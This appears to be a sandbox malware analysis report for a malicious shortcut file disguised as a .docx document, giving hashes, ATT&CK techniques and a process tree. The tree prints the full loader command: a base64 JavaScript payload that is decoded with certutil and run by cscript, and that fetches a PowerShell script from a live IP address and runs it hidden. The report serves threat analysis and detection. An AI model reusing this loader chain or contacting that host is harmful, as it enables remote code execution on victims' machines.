eb84fc07f54cf6acaa90b5e549bc32fa8f5247ce51c860d6c69178068af4227c

Analysis

max time kernel
298s
max time network
262s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ProtokolZatrimannya.docx.lnk
Size 19KB
Sample260724-eak41afq7x
SHA256 eb84fc07f54cf6acaa90b5e549bc32fa8f5247ce51c860d6c69178068af4227c
MD5 3889f237a7f335be8ad861b3310a2312
SHA1 db4fab8a0f00c8957b2abc615de662dae39eecd6
SHA512 cbd8e5c47cb4e25e889e60ad86b1905d2dcee15a520005c0a53a2f802464a3d7ef28a444192f5120f2fe26190178e67dccf0dde635a4f0505d36fd52256936f6
SSDEEP 24:8d/6lX3Gh8JWInZN54Sp+UOi+Eu+njVHqNDKT2LpMLHnT:8livn6y7KEu+njt49
TLSH
T1E2929C3874F8012EE8F3EE716EE8B7C49D9EB1A3A8311699484102150C11E80FE75F37
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	964	cscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4960	cmd.exe
4436	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1536	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 4960	1536	cmd.exe	86
PID 4960 wrote to memory of 4436	4960	cmd.exe	87
PID 4960 wrote to memory of 964	4960	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ProtokolZatrimannya.docx.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvZWZmaWNhY3ljaGV3LnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > TUG.dat && certutil -f -decode TUG.dat pAHf.js >nul && dir TUG.dat >nul && cscript //nologo //b pAHf.js && del TUG.dat pAHf.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\certutil.exe
    certutil -f -decode TUG.dat pAHf.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:4436
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b pAHf.js
    3⤵
    - Badlisted process makes network request
    PID:964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

TUG.dat

Path C:\Users\Admin\AppData\Local\Temp\TUG.dat
Size 412B
SHA256 53461b4fede7a93c8f6d8c9b7e3f83f194336bce2d550a7cf268dd743aae1aae
MD5 e56625c682a65cd59bc1a39e5225b215
SHA1 88afa89795d13c79d35bbd9ca013edfadf4b01b9
SHA512 ff3420e483d63483d73991751fcbb5c5573ba22a89013309a77eec8c0bbb623b206fa8c06c8f31969fb3cfec46aca01e76d33515363d95417a73268a0d8c62a7
TLSH
T18BE0A325888B7A9709703047B5A4046AF1C4CA0025215978D7197C962DFC3DF44E021C
MD5 SHA1 SHA512 TLSH

Submit Download

pAHf.js

Path C:\Users\Admin\AppData\Local\Temp\pAHf.js
Size 304B
SHA256 dd3c402b66cc9ae67957df0cb81b53bbc9abdf8ff079d6cce4237a3b7aba41ea
MD5 c12c7b2142efccbf8ce1b5330193b21d
SHA1 43bdf5d1a5eef6434facaedf9c4a92577b326fda
SHA512 e5fec8231861bb162f9d849795cc4ba5d5b4593ed1d7266f723b047e71bdd9993e917b785f31fb80c0c9981184d4d984d2b25e8c1704ff51c779965668ca524e
TLSH
T189E07D544071D0DD50C79FDC5450C66181EB81A6B011A97FB349C9E51811348115D18E
MD5 SHA1 SHA512 TLSH